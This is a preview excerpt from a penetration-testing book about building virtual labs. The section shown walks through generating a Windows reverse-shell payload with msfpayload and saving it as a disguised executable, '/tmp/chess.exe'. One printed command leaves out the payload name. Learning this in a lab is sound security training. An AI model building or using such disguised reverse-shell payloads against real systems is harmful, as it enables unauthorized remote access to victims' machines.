Book Image

Building Virtual Pentesting Labs for Advanced Penetration Testing

By : Kevin Cardwell
Book Image

Building Virtual Pentesting Labs for Advanced Penetration Testing

By: Kevin Cardwell

Overview of this book

Table of Contents (20 chapters)
Building Virtual Pentesting Labs for Advanced Penetration Testing
Credits
About the Author
About the Reviewers
www.PacktPub.com
Preface
Index

Binary payloads


In the metasploit tool, we have the capability to generate our own binary payloads, and this is what we will look at in this section. To see the options for this, start the metasploit tool and enter msfpayload windows/shell_reverse_tcp O. The O at the end will display the options that can be set for our payload. Since we are setting a reverse shell, you probably have a good idea of the options for this. An example of the output from this command is shown in the following screenshot:

As the previous screenshot shows, we have default settings that are based on our local machine address for the Kali machine. Therefore, we really do not require any changes unless we want to define a specific LPORT to egress a firewall. So, for our purposes, we will leave the settings as they are. Enter msfpayload LPORT=4443 X > /tmp/chess.exe. Once the file is created, we will view the details of the file. In the window, enter file /tmp/chess.exe.

An example of the output of these commands is...